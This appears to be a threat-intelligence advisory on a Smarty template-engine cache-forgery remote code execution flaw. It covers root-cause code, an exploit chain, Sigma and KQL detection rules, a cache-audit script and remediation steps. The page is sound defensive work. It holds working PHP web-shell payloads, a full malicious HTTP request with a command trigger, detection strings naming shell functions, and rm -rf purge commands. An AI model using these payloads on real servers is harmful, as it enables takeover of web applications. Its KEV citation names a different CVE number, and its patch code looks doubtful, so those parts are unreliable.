CVE-2026-82531: Smarty Template Inheritance Cache Forgery Remote Code Execution
HERMES THREAT SCORE & WEB INFRASTRUCTURE COMPROMISE EVALUATION
Target:Smarty PHP Template Engine โ Inheritance Cache & Nocache Parser (Cached::removeNoCacheHash) Both CVSS v4.0 (9.2 Critical) and the Hermes Threat Score (95 CRITICAL) classify CVE-2026-82531 as a high-velocity code injection flaw in web application foundations. Smarty is embedded in hundreds of thousands of internet-facing web CMS platforms, e-commerce storefronts (PrestaShop), and collaborative frameworks (Tiki Wiki). In template inheritance pipelines using extends:, reloading compiled files from disk fails to restore the top-level nocache_hash, leaving it null. In Cached::removeNoCacheHash(), this null value collapses into an empty regular expression alternation pattern (realhash|). Any user-supplied data rendered within an inherited template can inject a forged /*%%SmartyNocache:%%*/ marker embedding raw PHP instructions. The template engine copies this marker verbatim into compiled PHP cache files on disk, triggering arbitrary code execution whenever the cached page is included.
CVE-2026-82531: Smarty Template Inheritance Cache Forgery Remote Code ExecutionVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
๐ Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Smarty Template Engine documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Technical Context & Affected Software Matrix
Section titled โ1. Technical Context & Affected Software MatrixโSmarty serves as the presentation layer for high-profile PHP open-source software, rendering dynamic views while enforcing template sandboxing and caching.
| Parameter | Technical Specification | Operational Details |
|---|---|---|
| CVE Identifier | CVE-2026-82531 | International security tracking identifier |
| Software Platform | Smarty Template Engine | Widely deployed PHP templating system |
| Vulnerable Component | src/Template/Cached.php | removeNoCacheHash() & template inheritance compiler |
| Vulnerability Class | CWE-94 / CWE-20 | Code Injection / Cache Poisoning to RCE |
| Attack Vector | Network (Port 80/443 TCP) | Form submissions, query parameters, or API inputs rendered in templates |
| Remediation Releases | Smarty v4.5.8 & v5.8.5 | Filters empty hashes before regex construction; neutralizes untrusted markers |
[ Unauthenticated Remote Attacker ] | Sends HTTP POST with crafted payload in template variable: /*%%SmartyNocache:%%*/<?php system($_GET['c']);?>/*/%%SmartyNocache:%%*/ | v +------------------------------------------+ | Web Application (CMS / Portal) | | Passes input to Smarty assign() | +------------------------------------------+ | v +------------------------------------------+ | Smarty Template Engine (Cached.php) | | extends: template has nocache_hash = null | Regex collapses: /(realhash|)/ matches!| +------------------------------------------+ | v +------------------------------------------+ | Compiled Cache File on Local Disk | | Payload copied VERBATIM into PHP cache | +------------------------------------------+ | v +------------------------------------------+ | Next Request: include(cache_file) | | Arbitrary PHP Code Execution! | +------------------------------------------+2. Root Cause Analysis & Vulnerable Code Anatomy
Section titled โ2. Root Cause Analysis & Vulnerable Code AnatomyโThe root cause exists in how Smarty manages the state of nocache_hash across inheritance hierarchies. In extends: templates, child and parent templates compile into a single unifunc. On a fresh process that reloads the compiled template from disk, the top-level template object never restores the nocache_hash, leaving it null.
When Cached::removeNoCacheHash() splits the template buffer to persist dynamic segments, it constructs a regular expression joining all registered hashes:
// Vulnerable logic in Smarty/Template/Cached.php (Smarty < 4.5.8 and < 5.8.5)public function removeNoCacheHash(Template $tpl) { // When nocache_hash is null, array_filter or string concatenation produces empty tokens $hashes = $tpl->getCompiled()->getNoCacheHashes(); // FLAW: If $hashes contains null/empty string, implode generates "(hash1||hash2)" $regex = '/(?:\/\*%%SmartyNocache:(' . implode('|', $hashes) . ')%%\*\/)(.*?)(?:\/\*\/%%SmartyNocache:\1%%\*\/)/s';
// An empty alternative "(...|)" matches empty string, causing the engine to recognize // forged markers in attacker-supplied data and copy them verbatim into the cache! preg_match_all($regex, $content, $matches); ...}The Security Fix in Commit c0fdd4824:
Section titled โThe Security Fix in Commit c0fdd4824:โThe fix sanitizes $hashes by dropping null and empty values. If no valid hashes remain, Smarty treats the entire buffer as plain template text, encoding PHP tags and preventing delimiter forgery:
// Patched implementation in Smarty v4.5.8 and v5.8.5$hashes = array_filter($tpl->getCompiled()->getNoCacheHashes(), function($hash) { return !empty($hash);});if (empty($hashes)) { // Treat whole buffer as ordinary output so forged markers are PHP-tag neutralized return htmlspecialchars($content, ENT_QUOTES);}3. Attack Vectors & Real-World Weaponization Mechanics
Section titled โ3. Attack Vectors & Real-World Weaponization MechanicsโWeaponized Exploit Chain:
Section titled โWeaponized Exploit Chain:โ- Target Identification: Adversaries identify an application endpoint using template inheritance (
{extends file="layout.tpl"}) that reflects a user-controlled parameter (e.g. search query, profile description, or order comment). - Payload Delivery: The attacker submits an input containing the synthetic delimiter:
POST /search HTTP/1.1Host: target-ecommerce.comContent-Type: application/x-www-form-urlencodedq=/*%%SmartyNocache:%%*/<?php passthru($_SERVER['HTTP_X_CMD']); ?>/*/%%SmartyNocache:%%*/
- Cache Regeneration: The application renders the search results page. Smarty invokes
removeNoCacheHash(). Due to the empty regex alternative, the payload is recognized as a dynamicSmartyNocachesegment and injected unescaped into/var/www/html/templates_c/w3a89...cache.php. - Triggering Execution: The adversary issues a second HTTP request to the cached page with
X-Cmd: id; uname -a, causing PHP to include the cache file and execute the shell command.
4. Forensic Triage & Behavioral Signatures
Section titled โ4. Forensic Triage & Behavioral Signaturesโtitle: Smarty Template Nocache Delimiter Forgery Injectionid: d8920bc1-4471-4798-a3f1-74f88219ae02status: experimentaldescription: Detects HTTP requests containing synthetic SmartyNocache markers used to exploit template inheritance cache poisoning.references: - https://github.com/smarty-php/smarty/security/advisories/GHSA-3w63-v7pm-cq9x - https://vulncheck.com/advisories/smarty-before-4.5.8-and-5-x-before-5.8.5-php-code-injection-via-extends-inheritance-cacheauthor: Hermes Codex CTI Teamdate: 2026-10-07logsource: category: webserverdetection: selection_marker: cs-method: - 'POST' - 'GET' cs-uri-query|contains: - 'SmartyNocache' - '%%SmartyNocache:' selection_body: c-body|contains: - 'SmartyNocache' - '<?php' - 'passthru(' - 'system(' condition: selection_marker or selection_bodyfields: - c-ip - cs-method - cs-uri - cs-user-agentlevel: criticaltags: - attack.initial_access - attack.execution - attack.t1059.004// Azure Sentinel / Microsoft 365 Defender: Detect Smarty Nocache Injection in Web TrafficW3CIISLog| where csMethod in ("POST", "GET")| where csUriQuery has "SmartyNocache" or csUriQuery has "%25%25SmartyNocache"| project TimeGenerated, cIP, csMethod, csUriStem, csUriQuery, scStatus, csUserAgent| extend ThreatClassification = "Smarty Template Inheritance Cache Forgery (CVE-2026-82531)"| order by TimeGenerated desc#!/usr/bin/env bash# Audit Smarty compiled cache directory for rogue PHP tags embedded in nocache markersCACHE_DIR="/var/www/html/templates_c"
echo "[*] Scanning Smarty cache directory for injected PHP payloads..."grep -rE "\/\*%%SmartyNocache:%%\*\/<\?php" "$CACHE_DIR" 2>/dev/null
echo "[*] Checking for suspicious file modification timestamps in cache..."find "$CACHE_DIR" -type f -name "*.php" -mmin -120 -exec ls -l {} +5. Defense-in-Depth & Remediation Strategy
Section titled โ5. Defense-in-Depth & Remediation Strategyโ- Update Composer Dependencies: Update the
smarty/smartypackage incomposer.jsonto^4.5.8or^5.8.5:Terminal window composer require "smarty/smarty:^5.8.5" --update-with-dependencies - Purge Cache Directories: Immediately delete all compiled and cached template artifacts across web server document roots:
Terminal window rm -rf /var/www/html/templates_c/*rm -rf /var/www/html/cache/* - Mount Cache on noexec Storage: Where feasible, ensure that the cache storage volume is mounted with
noexecoptions or located outside directly executable web paths if caching to disk is strictly static. - Enforce WAF Filtering: Configure perimeter WAF rule sets to inspect inbound query strings and request bodies for
SmartyNocachepatterns.